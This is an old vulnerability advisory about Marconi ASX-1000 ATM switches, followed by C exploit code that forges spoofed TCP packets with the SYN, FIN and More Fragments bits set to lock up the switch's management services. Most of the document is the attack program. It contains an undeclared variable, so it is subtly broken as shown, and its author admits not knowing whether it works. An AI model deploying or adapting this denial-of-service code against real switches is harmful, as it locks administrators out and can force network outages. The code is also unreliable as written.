// source: https://www.securityfocus.com/bid/2400/info

ASX-1000 Switches are hardware packages developed by Marconi Corporation. ASX-1000 Switches can be used to regulate ATM networks, performing layer-3 switching.

A problem with the switch could allow a management denial of service. The problem occurs in the handling of arbitrary packets with both the SYN-FIN flags set, and fragments. By sending packets of this nature, the services listening on the switch enter close_wait status, and do not reset until the port is reset or the switch is power cycled.

This makes it possible for a malicious user to deny administrative access to a switch, and potentially create a network interruption by creating a neccessity to power cycle the switch.

This problem affects firmware Forethought 6.2.

/*
This DoS attack was discovered by Keith Pachulski and written by J.K. Garvey. This simple program sets the SYN, FIN and More Fragment bits and sends this crafted packet from a spoofed host to a destined Fore/Marconi ASX switch, which causes it to crash. I have no idea if this works, but it does what Keith Pachulski described.
*/

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#define IP_MF 0x2000		/* More fragment bits */

void                forge (unsigned int, unsigned int, unsigned short);
unsigned short      in_cksum (unsigned short *, int);
unsigned int        host_convert (char *);
void                usage (char *);

main (int argc, char **argv)
{
	unsigned int        source_host = 0, dest_host = 0;
	unsigned short      source_port = 0, dest_port = 80;
	int                 input;
	char                desthost[16], srchost[16];

	printf ("\nDenial of Service attack for Fore/Marconi ASX Switches\n");
	printf
		("Found by Keith Pachulski <keithp@corp.ptd.net>\nExploit written by J.K. Garvey <jim@trig.org>\n");

	if (getuid () != 0)
	{
		printf
			("\nRoot is required. Duh.\n");
		exit (0);
	}

	if (argc < 5)
	{
		usage (argv[0]);
		exit (0);
	}

        while ((input = getopt (argc, argv, "s:d:p:")) != -1)
	{
		switch (input)
		{
			case 's':
				source_host = host_convert (optarg);
				strncpy (srchost, optarg, 16);
			break;

			case 'd':
				dest_host = host_convert (optarg);
				strncpy (desthost, optarg, 16);
			break;

			case 'p':
				dest_port = atoi(optarg);
			break;
		}
	}

	forge (source_host, dest_host, dest_port);
	printf ("\nCrafted packet sent!\n");

	exit (0);
}

void
forge (unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port)
{
	struct send
	{
		struct iphdr        ip;
		struct tcphdr       tcp;
	}
	send;

	/* From synhose.c by knight */
	struct pseudo_header
	{
		unsigned int        source_address;
		unsigned int        dest_address;
		unsigned char       placeholder;
		unsigned char       protocol;
		unsigned short      tcp_length;
		struct tcphdr       tcp;
	}
	pseudo_header;

	int                 ch;
	int                 send_socket;
	int                 recv_socket;
	struct sockaddr_in  sin;
	char               *input;

	srand ((getpid ()) * (dest_port));

	/* Begin forged IP header */
	send.ip.ihl = 5;
	send.ip.version = 4;
	send.ip.tos = 0;
	send.ip.tot_len = htons (40);
	send.ip.id = (int) (255.0 * rand () / (RAND_MAX + 1.0));

	/* Note more fragments bit has been set */
	send.ip.frag_off = htons (IP_MF);

	send.ip.ttl = 64;
	send.ip.protocol = IPPROTO_TCP;
	send.ip.check = 0;
	send.ip.saddr = source_addr;
	send.ip.daddr = dest_addr;

	/* Begin forged TCP header */
	send.tcp.source = 1 + (int) (25.0 * rand () / (RAND_MAX + 1.0));
	send.tcp.seq = 1 + (int) (10000.0 * rand () / (RAND_MAX + 1.0));

	send.tcp.dest = htons (dest_port);
	send.tcp.ack_seq = 0;
	send.tcp.res1 = 0;
	send.tcp.doff = 5;

	/* Note FIN and SYN flags are set */
	send.tcp.fin = 1;
	send.tcp.syn = 1;

	send.tcp.rst = 0;
	send.tcp.psh = 0;
	send.tcp.ack = 0;
	send.tcp.urg = 0;
	send.tcp.window = htons (512);
	send.tcp.check = 0;
	send.tcp.urg_ptr = 0;

	/* Drop our forged data into the socket struct */
	sin.sin_family = AF_INET;
	sin.sin_port = send.tcp.source;
	sin.sin_addr.s_addr = send.ip.daddr;

	/* Now open the raw socket for sending */
	send_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (send_socket < 0)
	{
		perror ("Send socket cannot be opened.");
		exit (1);
	}

	/* Make IP header checksum */
	send.ip.check = in_cksum ((unsigned short *) &send_tcp.ip, 20);

	/* Final preparation of the full header */

	/* From synhose.c by knight */
	pseudo_header.source_address = send.ip.saddr;
	pseudo_header.dest_address = send.ip.daddr;
	pseudo_header.placeholder = 0;
	pseudo_header.protocol = IPPROTO_TCP;
	pseudo_header.tcp_length = htons (20);

	bcopy ((char *) &send.tcp, (char *) &pseudo_header.tcp, 20);
	/* Final checksum on the entire package */
	send.tcp.check = in_cksum ((unsigned short *) &pseudo_header, 32);
	/* Away we go.... */
	sendto (send_socket, &send, 40, 0,
		(struct sockaddr *) &sin, sizeof (sin));
	close (send_socket);
}

unsigned short
in_cksum (unsigned short *ptr, int nbytes)
{
	register long       sum;	/* assumes long == 32 bits */
	u_short             oddbyte;
	register u_short    answer;	/* assumes u_short == 16 bits */

	sum = 0;
	while (nbytes > 1)
	{
		sum += *ptr++;
		nbytes -= 2;
	}

	if (nbytes == 1)
	{
		oddbyte = 0;	/* make sure top half is zero */
		*((u_char *) & oddbyte) = *(u_char *) ptr; /* one byte only */
		sum += oddbyte;
	}

	sum = (sum >> 16) + (sum & 0xffff);	/* add high-16 to low-16 */
	sum += (sum >> 16);	/* add carry */
	answer = ~sum;		/* ones-complement, then truncate to 16 bits */
	return (answer);
}

unsigned int
host_convert (char *hostname)
{
	static struct in_addr i;
	struct hostent     *h;

	i.s_addr = inet_addr (hostname);
	if (i.s_addr == -1)
	{
		h = gethostbyname (hostname);
		if (h == NULL)
		{
			fprintf (stderr, "cannot resolve %s\n", hostname);
			exit (0);
		}
		bcopy (h->h_addr, (char *) &i.s_addr, h->h_length);
	}
	return i.s_addr;
}

void
usage (char *progname)
{
	printf ("\nusage: %s -s source_host -d destination_host -p destination_port (default is 80)\n\n",
		progname);
}